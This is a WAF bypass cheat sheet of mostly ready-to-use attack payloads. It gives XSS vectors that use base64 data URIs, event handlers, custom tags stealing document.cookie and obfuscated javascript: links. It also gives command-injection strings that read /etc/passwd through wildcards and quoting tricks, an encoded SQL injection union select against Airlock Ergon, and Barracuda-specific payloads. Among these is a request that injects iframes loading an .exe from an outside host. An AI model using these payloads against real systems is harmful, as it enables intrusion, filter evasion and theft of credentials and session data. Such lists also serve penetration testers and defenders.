Bypass checklist

Generic checklist

[ ] Base64 encoding our payload (/?q=<data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=_)
[ ] ASPX removes % not followed by two hex characters (https://site.com/index.php?%file=cat /etc/paswd)
[ ] We can use spaces to fool a WAF (<Img src = x onerror = "javascript: window.onerror = alert; throw XSS">)
[ ] Backslashes in filtered words (https://site.com/index.php?file=cat /etc/pa\swd)
[ ] Quotes and * https://site.com/index.php?file=cat /etc/pa*swd https://site.com/index.php?file=cat /etc/pa**swd https://site.com/index.php?file=cat /etc/pa's'wd https://site.com/index.php?file=cat /etc/pa"s"wd
[ ] Wildcards (https://site.com/index.php?file=cat /e??/p????)
[ ] Replace spaces with / (<svg/onload>)
[ ] Custom tags (https://acd91f8b1e2bae3781d35fe600c30081.web-security-academy.net/?search=<CUSTOM+id%3Dx+onfocus%3Dalert(document.cookie) tabindex=1>#x )
[ ] Using different language chars – e.g. ē instead of e

Airlock Ergon

%C0%80'+union+select+col1,col2,col3+from+table+--+

Every space here is replaced by a + and we have the %C0 and %80 url encoded values at the beginning of our attack vector.by @Sec Consult

Barracuda

<body style="height:1000px" onwheel="alert(1)">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">
<b/%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35mouseover=alert(1)>

A smart bypass making use of several tricks. The first line will use the onwheel event handler which is not filtered in Barracuda. We also have a very smart use of the url encoded characters on the third line. Great discoveries by @WAFNinja

GET /cgi-mod/index.cgi?&primary_tab=ADVANCED&secondary_tab=test_backup_server&content_only=1&&&backup_port=21&&backup_username=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net/etc/bad-example.exe%3E&&backup_type=ftp&&backup_life=5&&backup_server=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net/etc/bad-example.exe%3E&&backup_path=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net/etc/bad-example.exe%3E&&backup_password=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net%20width%3D800%20height%3D800%3E&&user=guest&&password=121c34d4e85dfe6758f31ce2d7b763e7&&et=1261217792&&locale=en_US
Host: favoritewaf.com
User-Agent: Mozilla/5.0 (compatible; MSIE5.01; Windows NT)

We can see several smart tricks being used here by @Global-Evolution to achieve HTMLi

<a href=j%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At:open()>clickhere